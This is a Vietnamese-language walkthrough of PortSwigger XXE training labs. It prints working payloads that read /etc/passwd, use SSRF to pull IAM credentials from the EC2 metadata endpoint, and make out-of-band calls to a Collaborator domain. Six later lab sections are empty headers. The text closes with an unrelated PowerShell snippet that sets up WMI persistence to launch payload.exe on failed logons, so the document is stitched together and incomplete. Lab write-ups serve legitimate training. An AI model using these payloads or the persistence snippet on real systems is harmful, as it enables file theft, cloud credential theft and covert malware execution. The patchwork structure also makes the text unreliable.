PortSwigger - XXE
Description
Link lab tại đây
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response. To solve the lab, inject an XML external entity to retrieve the contents of the /etc/passwd file.
Exploitation
Ứng dụng có chức năng kiểm tra hàng tồn kho tại mỗi post của sản phẩm
Khi click Check stock
, một POST request gửi đến /product/stock
với body là một dạng XML gồm 2 trường query chính là productId
và storeId
. Server sẽ trả về số lượng sản phẩm còn lại trong kho.
Tại đây, server không có một cơ chế validate
XML nào nên ta có thể định nghĩa một external entity
&xxe;
mà giá trị của nó là nội dung file /etc/passwd
và sử dụng entity
&xxe;
tại trường productId
.
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE keke [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]>
<stockCheck>
<productId> &xxe; </productId>
<storeId>1</storeId>
</stockCheck>
Solved
Description
Link lab tại đây
This lab has a “Check stock” feature that parses XML input and returns any unexpected values in the response. The lab server is running a (simulated) EC2 metadata endpoint at the default URL, which is http://169.254.169.254/. This endpoint can be used to retrieve data about the instance, some of which might be sensitive. To solve the lab, exploit the XXE vulnerability to perform an SSRF attack that obtains the server’s IAM secret access key from the EC2 metadata endpoint.
Exploitation
Tương tự bài trên, ta sẽ thực hiện SSRF attack
để định nghĩa một external entity
&xxe;
mà giá trị của nó là http://169.254.169.254/
và sử dụng entity
tại trường productId
.
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/" >]>
<stockCheck>
<productId> &xxe; </productId>
<storeId> 2 </storeId>
</stockCheck>
Tìm ra được folder latest
Sử dụng đường dẫn trên kết hợp với folder latest
ta được:
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest" >]>
<stockCheck>
<productId> &xxe; </productId>
<storeId> 2 </storeId>
</stockCheck>
Lặp đi lặp lại các bước ta tìm ra được endpoint admin
: http://169.254.169.254/latest/meta-data/iam/security-credentials/admin
Payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin" >]>
<stockCheck>
<productId> &xxe; </productId>
<storeId> 2 </storeId>
</stockCheck>
Solved
3. Blind XXE with out-of-band interaction
Description
Link lab tại đây
This lab has a “Check stock” feature that parses XML input but does not display the result. You can detect the blind XXE vulnerability by triggering out-of-band interactions with an external domain. To solve the lab, use an external entity to make the XML parser issue a DNS lookup and HTTP request to Burp Collaborator.
Exploitation
Đây là một bài lab Blind XXE injection
, server không trả về kết quả attacker mong muốn. Vì vậy ta có thể sử dụng kĩ thuật out-of-band
sau để tiến hành khai thác.
Payload
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE keke [<!ENTITY xxe SYSTEM "http://<COLABORATOR_DOMAIN>">]>
<stockCheck>
<productId> &xxe; </productId>
<storeId> 2 </storeId>
</stockCheck>
Solved
Description
Link lab tại đây
Exploitation
Description
Link lab tại đây
Exploitation
Description
Link lab tại đây
Exploitation
Description
Link lab tại đây
Exploitation
Description
Link lab tại đây
Exploitation
Description
Link lab tại đây
Exploitation
$filter = Set-WmiInstance -Namespace root/subscription -Class __EventFilter -Arguments @{EventNamespace = ‘root/cimv2’; Name = “UPDATER”; Query = “SELECT * FROM __InstanceCreationEvent WITHIN 60 WHERE TargetInstance ISA ‘Win32_NTLogEvent’ AND Targetinstance.EventCode = ‘4625’ And Targetinstance.Message Like ‘%fakeuser%’”; QueryLanguage = ‘WQL’} $consumer = Set-WmiInstance -Namespace root/subscription -Class CommandLineEventConsumer -Arguments @{Name = “UPDATER”; CommandLineTemplate = “C:\Users\sec560\Desktop\payload.exe”} $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class __FilterToConsumerBinding -Arguments @{Filter = $Filter; Consumer = $Consumer}